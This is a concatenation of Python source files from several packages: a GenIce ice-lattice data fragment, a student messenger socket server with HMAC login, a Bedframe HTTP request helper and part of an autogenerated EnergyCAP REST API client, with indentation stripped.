0.4221164754 5.4560509263 4.2322110246
3.5250014754 2.3531659263 4.2322110246
1.9735589754 1.9735589754 0.8017234263
1.9735589754 0.8017234263 1.9735589754
0.7497190737 2.6807685246 5.0764439754
5.4040465737 0.4221164754 0.4221164754
0.4221164754 0.4221164754 5.4040465737
5.4560509263 1.1293260246 3.5250014754
1.7502753708 1.7502753708 1.7502753708
2.3011615737 3.5250014754 0.4221164754
0.77572125 3.87860625 0.77572125
5.4040465737 4.2322110246 4.2322110246
6.0069371292 2.9040521292 4.8531603708
4.2322110246 4.2322110246 5.4040465737
4.2322110246 2.3531659263 3.5250014754
2.9040521292 4.8531603708 6.0069371292
0.4221164754 1.1293260246 2.3531659263
1.9735589754 2.6807685246 3.8526040737
2.6807685246 3.9046084263 5.7836535246
3.3017178708 1.3526096292 0.1988328708
3.9046084263 5.7836535246 2.6807685246
2.6807685246 5.0764439754 0.7497190737
4.4554946292 1.3526096292 1.3526096292
3.5250014754 2.3011615737 0.4221164754
1.1293260246 4.2322110246 2.3011615737
4.2322110246 1.1293260246 2.3011615737
0.4221164754 2.3531659263 1.1293260246
5.7836535246 1.9735589754 0.7497190737
0.4221164754 3.5250014754 2.3011615737
6.0069371292 1.7502753708 6.0069371292
3.3017178708 0.1988328708 1.3526096292
5.0764439754 3.9046084263 1.9735589754
2.3011615737 0.4221164754 3.5250014754
0.8017234263 1.9735589754 1.9735589754
5.4040465737 3.5250014754 3.5250014754
5.7836535246 0.8017234263 5.7836535246
2.32716375 2.32716375 2.32716375
1.7502753708 6.0069371292 6.0069371292
1.1293260246 2.3011615737 4.2322110246
5.0764439754 5.7836535246 3.8526040737
2.32716375 5.43004875 5.43004875
5.0764439754 3.8526040737 5.7836535246
3.87860625 0.77572125 0.77572125
3.87860625 3.87860625 3.87860625
1.1293260246 3.5250014754 5.4560509263
3.5250014754 4.2322110246 2.3531659263
4.8531603708 6.0069371292 2.9040521292
0.7497190737 5.7836535246 1.9735589754
1.1293260246 1.1293260246 5.4040465737
2.3531659263 0.4221164754 1.1293260246
5.4560509263 4.2322110246 0.4221164754
4.8531603708 2.9040521292 6.0069371292
4.4554946292 3.3017178708 3.3017178708
5.7836535246 3.8526040737 5.0764439754
0.4221164754 2.3011615737 3.5250014754
1.3526096292 4.4554946292 1.3526096292
4.2322110246 5.4560509263 0.4221164754
5.0764439754 0.7497190737 2.6807685246
6.0069371292 4.8531603708 2.9040521292
3.9046084263 1.9735589754 5.0764439754
2.6807685246 1.9735589754 3.8526040737
1.9735589754 0.7497190737 5.7836535246
2.9040521292 1.7502753708 2.9040521292
0.8017234263 5.7836535246 5.7836535246
0.1988328708 4.4554946292 0.1988328708
0.4221164754 5.4040465737 0.4221164754
2.9040521292 6.0069371292 4.8531603708
0.1988328708 0.1988328708 4.4554946292
5.7836535246 2.6807685246 3.9046084263
2.6807685246 0.8017234263 2.6807685246
5.7836535246 5.0764439754 3.8526040737
1.7502753708 2.9040521292 2.9040521292
3.8526040737 5.7836535246 5.0764439754
2.3011615737 1.1293260246 4.2322110246
3.3017178708 4.4554946292 3.3017178708
2.3531659263 3.5250014754 4.2322110246
2.3531659263 1.1293260246 0.4221164754
5.0764439754 0.8017234263 5.0764439754
4.4554946292 0.1988328708 0.1988328708
1.3526096292 3.3017178708 0.1988328708
2.3531659263 4.2322110246 3.5250014754
3.5250014754 1.1293260246 5.4560509263
0.1988328708 1.3526096292 3.3017178708
4.8531603708 4.8531603708 1.7502753708
3.5250014754 0.4221164754 2.3011615737
2.6807685246 3.8526040737 1.9735589754
3.5250014754 5.4560509263 1.1293260246
3.9046084263 5.0764439754 1.9735589754
3.5250014754 3.5250014754 5.4040465737
5.4560509263 3.5250014754 1.1293260246
0.1988328708 3.3017178708 1.3526096292
5.0764439754 1.9735589754 3.9046084263
3.8526040737 1.9735589754 2.6807685246
0.77572125 0.77572125 3.87860625
1.1293260246 2.3531659263 0.4221164754
1.9735589754 5.0764439754 3.9046084263
0.7497190737 5.0764439754 2.6807685246
4.8531603708 1.7502753708 4.8531603708
4.2322110246 3.5250014754 2.3531659263
"""
coord = "absolute"
cages = """
12 0.5000 0.2500 0.2500
12 0.5000 0.5000 0.5000
12 0.2500 0.5000 0.2500
12 0.0000 0.2500 0.7500
12 0.2500 0.0000 0.7500
12 0.0000 0.5000 0.0000
12 0.2500 0.2500 0.5000
12 0.5000 0.0000 0.0000
12 0.7500 0.5000 0.7500
12 0.0000 0.0000 0.5000
12 0.0000 0.7500 0.2500
12 0.2500 0.7500 0.0000
12 0.7500 0.2500 0.0000
12 0.7500 0.0000 0.2500
12 0.5000 0.7500 0.7500
12 0.7500 0.7500 0.5000
16 0.6250 0.1250 0.6250
16 0.1250 0.6250 0.6250
16 0.8750 0.3750 0.3750
16 0.3750 0.8750 0.3750
16 0.3750 0.3750 0.8750
16 0.6250 0.6250 0.1250
16 0.8750 0.8750 0.8750
16 0.1250 0.1250 0.1250
"""
from genice.cell import cellvectors
cell = cellvectors(a=6.20577,
b=6.20577,
c=6.20577) | PypiClean |
/Messanger_Study_Project-0.0.1.tar.gz/Messanger_Study_Project-0.0.1/ServerCore/server.py | from socket import socket, AF_INET, SOCK_STREAM
from Protocol.utils import get_message, send_message, create_message, create_work_message
import Protocol.proto_description as proto
import logging
from LOG.logger_deco import Logger
import select
from Utilitis.NonNegativeCheck import NonNegative
from Utilitis.ServerVerifier import ServerVerifier
from Utilitis.ServerBDClass import ServerBD
from Utilitis import serverGUI
import configparser
import os
import hmac
# Получаем серверный логгер по имени, из модуля LOG/server_log_config.py
logger = logging.getLogger('server')
class Server(metaclass=ServerVerifier):
port = NonNegative()
sercl = NonNegative()
def __init__(self):
"""
Конструктор объекта класса.
"""
config = configparser.ConfigParser()
dir_path = os.path.dirname(os.path.realpath(__file__))
config.read(f"{dir_path}/{'server.ini'}")
# Загрузка параметров инициализации сервера, если нет параметров, то задаём значения по умоланию.
self.addr = config['SETTINGS']['Listen_Address']
port = config['SETTINGS']['Default_port']
if port == '':
self.port = 7777
else:
self.port = int(port)
sercl = int(config['SETTINGS']['accept_clients'])
if sercl == '':
self.sercl = 5
else:
self.sercl = sercl
# Инициализация базы данных
database = os.path.join(config['SETTINGS']['Database_path'], config['SETTINGS']['Database_file'])
self.serverBD = ServerBD(database) # БД для сервера
# список объектов клиентских сокетов
self.clients = []
# список объектов клиентских сокетов неавторизованных клиентов
# словарь с никами, id и сокетами пользователей
self.names = {}
# определяем экземпляр сервера
self.server = socket(AF_INET, SOCK_STREAM)
logger.info(f"{'=' * 10}Инициализация сервера {'=' * 10}")
print("Сервер инициализирован")
def start(self):
"""
Запуск сервера.
Используем модуль select.
"""
self.server.bind((self.addr, self.port)) # присваиваем полученный порт и хост
self.server.listen(self.sercl) # начинаем ждать подключения
# Задержка для корректной работы модуля select
self.server.settimeout(0.2)
# действие ниже будут выполняться циклически и во веки веков
logger.info(f"{'=' * 10}Запуск сервера{'=' * 10}")
print("Сервер запущен")
while True:
try:
# принимаем запрос на соединение
conn, addr = self.server.accept()
logger.info(f"{'=' * 10}Начало соединения{'=' * 10}")
logger.info(f'Соединение с ip:{addr[0]}, port:{addr[1]}')
# принимает сообщение клиента
presence = get_message(conn, addr)
# определяем ник клиента
self.client_name = presence['user']['account_name']
# проверка есть ли такой клиент в нашей БД
clientSecretPhrase = self.serverBD.getUserSekretKey(self.client_name)
# если нет, запрашиваем у клиента пароль и добавляем в БД
if clientSecretPhrase is None:
clientSecretPhrase = self.reqPassword(conn)
self.serverBD.addNewClient(self.client_name, clientSecretPhrase)
# если клиент есть, отправляем ему ОК и следуем дальше
else:
response = self.presence_response(presence)
send_message(conn, response)
# аутифицируем клиента
if self.server_authenticate(conn, clientSecretPhrase):
response = self.auth_response(True)
send_message(conn, response)
else:
response = self.auth_response(False)
send_message(conn, response)
conn.close()
except OSError as e:
pass # timeout вышел
else:
print(f"Получен запрос на соединение от {str(addr)}")
self.names[self.client_name] = conn
# Добавляем клиента в список
self.clients.append(conn)
# добавляем ник пользователя в таблицу подлючившихся и выбираем его id
self.serverBD.addActiveClientToBD(self.client_name, addr, self.clients)
finally:
# Проверить наличие событий ввода-вывода
wait = 0
r = [] # список клиентов, которые готовы читать
w = [] # список клиентов, которые готовы читать
try:
# получаем клиентов, которые готовы r - читать,w - писать или отвалились с ошибками - e
r, w, e = select.select(self.clients, self.clients, [], wait)
except:
pass # Ничего не делать, если нет подключений (ждем)
requests = self.read_requests(r, self.clients) # Получаем сообщения от клиентов
self.write_responses(requests) # отправляем сообщения
def read_requests(self, r_clients, all_clients):
"""
Чтение сообщений, которые будут посылать клиенты
:param r_clients: клиенты которые могут отправлять сообщения
:param all_clients: все клиенты
:return:
"""
# Список входящих сообщений
messages = []
for sock in r_clients:
try:
# Получаем входящие сообщения
message = get_message(sock)
# Добавляем их в список
messages.append((message, sock))
except:
# если не можем ответить клиенту, значит он отключился, оповещаем остальных, убираем его из списка
all_clients.remove(sock)
try:
del self.names[self.client_name]
except:
pass
self.serverBD.remFromActive(self.client_name)
# Возвращаем словарь сообщений
return messages
def reqPassword(self, conn):
"""
Запрос пароля у клиента (для добавление в БД)
:param conn: сокет клиента
:return: полученный от клиента хэш пароля
"""
response = self.password_ask()
send_message(conn, response)
clientPass = conn.recv(1024)
return clientPass
def server_authenticate(self, con, secret_key):
''' Запрос аутентификаии клиента.
сonnection - сетевое соединение (сокет);
secret_key - ключ шифрования => пароль клиента, который хранится в БД (и вводит клиент у себя)
'''
# 1. Создаётся случайное послание и отсылается клиенту
message = os.urandom(32)
con.send(message)
# 2. Вычисляется HMAC-функция (локальный результат) от послания с использованием секретного ключа
hash = hmac.new(secret_key, message)
digest = hash.digest()
# 3. Пришедший ответ от клиента сравнивается с локальным результатом HMAC
response = con.recv(len(digest))
return hmac.compare_digest(digest, response)
# если пользователя нет в БД, запрашиваем у него пароль для добавления в БД
def password_ask(self):
"""
Формирование сообщения "такой клиент не найдет"
:return: сформированное сообщение
"""
return {proto.PacketType.RESPONSE.value: proto.AnswerCodes.NOT_FOUND.value}
@Logger()
# функция формирования ответа
def presence_response(self, presence_message):
"""
Формирование ответа при передаче служебных сообщений
:param presence_message: присланное служебное сообщение
:return:
"""
# если сообщение соответствует протоколу
if proto.PacketType.ACTION.value in presence_message and \
presence_message[proto.PacketType.ACTION.value] == proto.Actions.PRESENCE.value and \
proto.PacketType.TIME.value in presence_message and \
isinstance(presence_message[proto.PacketType.TIME.value], float):
# отправляем код 200 (ОК)
return {proto.PacketType.RESPONSE.value: proto.AnswerCodes.OK.value}
else:
# если не соответствует, оповещаем ошибкой 400 (Не верный запрос)
return {proto.PacketType.RESPONSE.value: proto.AnswerCodes.WRONG_REQUEST.value, \
proto.PacketType.ERROR.value: 'Не верный запрос'}
def auth_response(self, auth):
"""
Формирование ответа о прохождение аутентификации
:param auth: флаг прохождения
:return: положительный, либо отрицательный ответ
"""
if auth:
return {proto.PacketType.RESPONSE.value: proto.AnswerCodes.OK.value}
else:
return {proto.PacketType.RESPONSE.value: proto.AnswerCodes.WRONG_LOGIN.value}
def write_responses(self, messages):
"""
Отправка сообщений тем клиентам, которые их ждут
:param messages: список сообщений
:return:
"""
for message, sender in messages:
print(message)
# если тип сообщения - сообщение и адреса есть в списке подключенных
if message['action'] == proto.Actions.MESSAGE.value and message['to']: # in self.names:
if message['to'] in self.names:
adresat = message['to']
sock = self.names[adresat]
send_message(sock, message)
# если сообщение адресовано всем, пересылаем каждому из списка подключенных
if message['to'] == "#all":
for x in self.clients:
send_message(x, message)
# если сообщение адресовано серверу, то смотрим что за команду просят и отправляем назад ответ
elif message['to'] == 'server':
adresat = self.names[message['from']]
message['from'] = 'server'
sock = adresat
if message['message'] == 'show users':
message['message'] = f"Список подключенных пользователей: {self.serverBD.getActiveUserNames()}"
else:
message['message'] = f'Неизвестная команда. Доступные команды -> help'
send_message(sock, message)
# если адресата нет в списке, отправляем назад оповещение об отсутствии адресата
elif message['action'] == proto.Actions.MESSAGE.value and message['to'] not in self.names:
adresat = self.names[message['from']]
message['from'] = 'server'
message['message'] = f"Адресат {message['to']} недоступен"
sock=adresat
send_message(sock, message)
elif message['action'] == proto.Actions.GETCONTACT.value:
send_message(sender, {proto.PacketType.RESPONSE.value: proto.AnswerCodes.ACCEPTED.OK.value,
'alert': self.serverBD.getAllUsers()})
elif message['action'] == proto.Actions.INCLUDECONTACT.value:
if message['user_id'] in self.serverBD.getAllUsers():
message = create_work_message(proto.Actions.INCLUDECONTACT.value, message['user']['account_name'],
{'user_id' : message['user_id'], proto.PacketType.RESPONSE.value: \
proto.AnswerCodes.ACCEPTED.OK.value},'server')
else:
message = create_work_message(proto.Actions.INCLUDECONTACT.value, message['user']['account_name'],
{'user_id' : message['user_id'], proto.PacketType.RESPONSE.value: \
proto.AnswerCodes.ACCEPTED.NOT_FOUND.value},'server')
send_message(sender, message)
elif message['action'] == proto.Actions.EXCLUDECONTACT.value:
message = create_work_message(proto.Actions.EXCLUDECONTACT.value, message['user']['account_name'],{'user_id':message['user_id'],proto.PacketType.RESPONSE.value:proto.AnswerCodes.ACCEPTED.OK.value}, 'server')
print('+'*50)
print(message)
send_message(sender, message)
if __name__ == '__main__':
serverGUI.startWind() | PypiClean |
/Bedframe-0.13.5.tar.gz/Bedframe-0.13.5/napper/_requests.py | __copyright__ = "Copyright (C) 2014 Ivan D Vasin"
__docformat__ = "restructuredtext"
import re as _re
from urllib import urlencode as _urlencode
from urlparse import urljoin as _urljoin
import bedframe.webtypes as _webtypes
import requests as _requests
import requests.auth as _requests_auth
from spruce.collections import odict as _odict
import spruce.http as _http
from spruce.lang import bool as _bool
def extract_retval(response, type):
"""Extract a native return value object from a JSON return response.
:param response:
A return response with JSON content.
:type response: :class:`requests.Response <requests.models.Response>`
:param type:
The webtype of the result.
:type type: :class:`bedframe.webtypes.webobject
<bedframe.webtypes._core.webobject>`
:rtype: :obj:`object`
"""
return type.fromprim(response.json()['retval']).native()
def request(*args, **kwargs):
"""
.. seealso:: :meth:`WebRequest.from_resource`, :func:`send_request`
"""
send_kwargs, rest_kwargs = _extract_send_kwargs(**kwargs)
return send_request(WebRequest.from_resource(*args, **rest_kwargs),
**send_kwargs)
def request_args_from_resource(method, service, resource, *args, **kwargs):
"""
:rtype:
(:func:`str`, :func:`str`, :obj:`object`\ ...),
{:func:`str`: :obj:`object`}
"""
uri = _urljoin(service + ('/' if not service.endswith('/') else ''),
resource)
postext_match = _re.match('post(.+)', method)
if postext_match:
method = 'post'
uri += '?' + postext_match.group(1)
return (method, uri) + args, kwargs
def request_cors_preflight(*args, **kwargs):
"""
.. seealso::
:meth:`WebRequest.cors_preflight_from_resource`,
:func:`send_request`
"""
send_kwargs, rest_kwargs = _extract_send_kwargs(**kwargs)
return send_request(WebRequest.cors_preflight_from_resource(*args,
**rest_kwargs),
**send_kwargs)
def request_uri(*args, **kwargs):
"""
.. seealso:: :class:`WebRequest`, :func:`send_request`
"""
send_kwargs, rest_kwargs = _extract_send_kwargs(**kwargs)
return send_request(WebRequest(*args, **rest_kwargs), **send_kwargs)
def request_uri_cors_preflight(*args, **kwargs):
"""
.. seealso:: :meth:`WebRequest.cors_preflight`, :func:`send_request`
"""
send_kwargs, rest_kwargs = _extract_send_kwargs(**kwargs)
return send_request(WebRequest.cors_preflight(*args, **rest_kwargs),
**send_kwargs)
def send_request(request, session=None, timeout=6., verify_server_cert=True):
"""
.. seealso:: :meth:`requests.Session.send`
"""
if not session:
session = _requests.Session()
return session.send(request.prepare(), timeout=timeout,
verify=verify_server_cert)
class WebRequest(_requests.Request):
"""A web service request."""
def __init__(self,
method,
uri,
args=None,
argtypes=None,
args_as=None,
accept_mediaranges=('application/json', '*/*; q=0.01'),
auth=None,
authtype='basic',
origin=None,
headers=None,
**kwargs):
method_kwargs = {}
headers = _odict(headers or ())
method_kwargs['headers'] = headers
if origin is not None:
headers['Origin'] = origin
headers.setdefault('Accept', ', '.join(accept_mediaranges))
if args:
if argtypes:
untyped_args = [arg for arg in args if arg not in argtypes]
else:
untyped_args = args.keys()
if untyped_args:
raise ValueError('missing type specifications for request'
' arguments {}'.format(untyped_args))
if args_as is None:
if _http.method_defines_body_semantics(method.upper()):
args_as = 'body'
else:
args_as = 'query'
if args_as == 'query':
args_json = {name: argtypes[name](value).json()
for name, value in args.items()}
method_kwargs['params'] = args_json
elif args_as == 'body':
args_webobjects = {name: argtypes[name](value)
for name, value in args.items()}
body = _webtypes.json_dumps(args_webobjects)
method_kwargs['data'] = body
headers['Content-Type'] = 'application/json'
elif args_as == 'body_urlencoded':
args_json = {name: argtypes[name](value).json()
for name, value in args.items()}
body = _urlencode(args_json)
method_kwargs['data'] = body
headers['Content-Type'] = 'application/x-www-form-urlencoded'
else:
raise ValueError('invalid argument mechanism {!r}; expected'
' one of {}'
.format(args_as,
('query', 'body',
'body_urlencoded')))
if auth is not None:
try:
auth_class = _requests_auth_classmap[authtype]
except KeyError:
raise ValueError('invalid authentication type {!r}; expected'
' one of {}'
.format(authtype, ('basic', 'digest')))
method_kwargs['auth'] = auth_class(*auth)
method_kwargs.update(kwargs)
super(WebRequest, self).__init__(method, uri, **method_kwargs)
@classmethod
def cors_preflight(cls, method, uri, args=None, origin=None,
accept_mediaranges=('application/json', '*/*; q=0.01'),
auth=None, headers=None, *args_, **kwargs):
if origin is None:
raise TypeError('missing origin')
headers = _odict(headers or ())
preflight_headers = {'Access-Control-Request-Method': method}
if headers:
preflight_headers['Access-Control-Request-Headers'] = \
', '.join((name.lower() for name in headers.keys()))
try:
preflight_headers['Accept'] = headers['Accept']
except KeyError:
pass
return cls('options', uri, *args_, origin=origin,
accept_mediaranges=accept_mediaranges,
headers=preflight_headers, **kwargs)
@classmethod
def cors_preflight_from_resource(cls, method, service, resource, *args,
**kwargs):
args_, kwargs_ = request_args_from_resource(method, service, resource,
*args, **kwargs)
return cls.cors_preflight(*args_, **kwargs_)
@classmethod
def from_resource(cls, method, service, resource, *args, **kwargs):
args_, kwargs_ = request_args_from_resource(method, service, resource,
*args, **kwargs)
return cls(*args_, **kwargs_)
class WebRequestSession(_requests.Session):
def __init__(self, follow_redirects=True, *args, **kwargs):
super(WebRequestSession, self).__init__(*args, **kwargs)
self.follow_redirects = follow_redirects
@property
def follow_redirects(self):
return self._follow_redirects
@follow_redirects.setter
def follow_redirects(self, value):
self._follow_redirects = _bool(value)
def resolve_redirects(self, resp, *args, **kwargs):
if self.follow_redirects:
return super(WebRequestSession, self)\
.resolve_redirects(resp, *args, **kwargs)
else:
return (resp,)
def _extract_send_kwargs(**kwargs):
send_kwargs = {}
rest_kwargs = {}
for name, value in kwargs.items():
if name in ('session', 'timeout', 'verify_server_cert'):
send_kwargs[name] = value
else:
rest_kwargs[name] = value
return send_kwargs, rest_kwargs
_requests_auth_classmap = {'basic': _requests_auth.HTTPBasicAuth,
'digest': _requests_auth.HTTPDigestAuth} | PypiClean |
/EnergyCapSdk-8.2304.4743.tar.gz/EnergyCapSdk-8.2304.4743/energycap/sdk/energy_cap_api.py |
from msrest.service_client import SDKClient
from msrest import Configuration, Serializer, Deserializer
from .version import VERSION
from msrest.pipeline import ClientRawResponse
from msrest.exceptions import HttpOperationError
from . import models
class EnergyCapApiConfiguration(Configuration):
"""Configuration for EnergyCapApi
Note that all parameters used to create this instance are saved as instance
attributes.
:param str base_url: Service URL
"""
def __init__(
self, base_url=None):
if not base_url:
base_url = 'http://localhost'
super(EnergyCapApiConfiguration, self).__init__(base_url)
self.add_user_agent('EnergyCapSdk/{}'.format(VERSION))
class EnergyCapApi(SDKClient):
"""Document used to generate the EnergyCAP SDK
:ivar config: Configuration for client.
:vartype config: EnergyCapApiConfiguration
:param str base_url: Service URL
"""
def __init__(
self, base_url=None):
self.config = EnergyCapApiConfiguration(base_url)
super(EnergyCapApi, self).__init__(None, self.config)
client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)}
self.api_version = '8.2304'
self._serialize = Serializer(client_models)
self._deserialize = Deserializer(client_models)
def get_account(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one account.
:param account_id: The account identifier for the account being
retrieved
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account.metadata = {'url': '/api/v3/account/{accountId}'}
def edit_account(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits an account.
:param account_id: The identifier for the account being edited
:type account_id: int
:param body: Data representing the account being edited
:type body: ~energycap.sdk.models.AccountEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_account.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_account.metadata = {'url': '/api/v3/account/{accountId}'}
def delete_account(
self, account_id, delete_bills=None, custom_headers=None, raw=False, **operation_config):
"""Deletes an account. Currently NO confirmation is required.
:param account_id: The identifier for the account being deleted
:type account_id: int
:param delete_bills: Should this cascade to delete any bills
associated with this meter
:type delete_bills: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_account.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if delete_bills is not None:
query_parameters['deleteBills'] = self._serialize.query("delete_bills", delete_bills, 'bool')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_account.metadata = {'url': '/api/v3/account/{accountId}'}
def get_accounts(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all accounts.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_accounts.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[AccountResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_accounts.metadata = {'url': '/api/v3/account'}
def create_account(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates an account.
:param body: Data representing the account being created
:type body: ~energycap.sdk.models.AccountCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_account.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_account.metadata = {'url': '/api/v3/account'}
def search_accounts(
self, query=None, include_inactive_accounts=None, custom_headers=None, raw=False, **operation_config):
"""Search for accounts
Search for accounts whose account code, address, old account code,
meter serial number, or meter address contains "query".
:param query: The string to search for
:type query: str
:param include_inactive_accounts: Flag to determine if inactive
accounts should be included in the search results
:type include_inactive_accounts: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SearchAccountMeterBillEntry] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.search_accounts.metadata['url']
# Construct parameters
query_parameters = {}
if query is not None:
query_parameters['query'] = self._serialize.query("query", query, 'str')
if include_inactive_accounts is not None:
query_parameters['includeInactiveAccounts'] = self._serialize.query("include_inactive_accounts", include_inactive_accounts, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SearchAccountMeterBillEntry]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
search_accounts.metadata = {'url': '/api/v3/account/search'}
def edit_account_ud_fs(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits user defined field / custom field values for a particular
account.
:param account_id: The identifier for the account
:type account_id: int
:param body: Data representing the account user defined fields /
custom fields being edited
:type body: list[~energycap.sdk.models.UDFValue]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_account_ud_fs.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[UDFValue]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
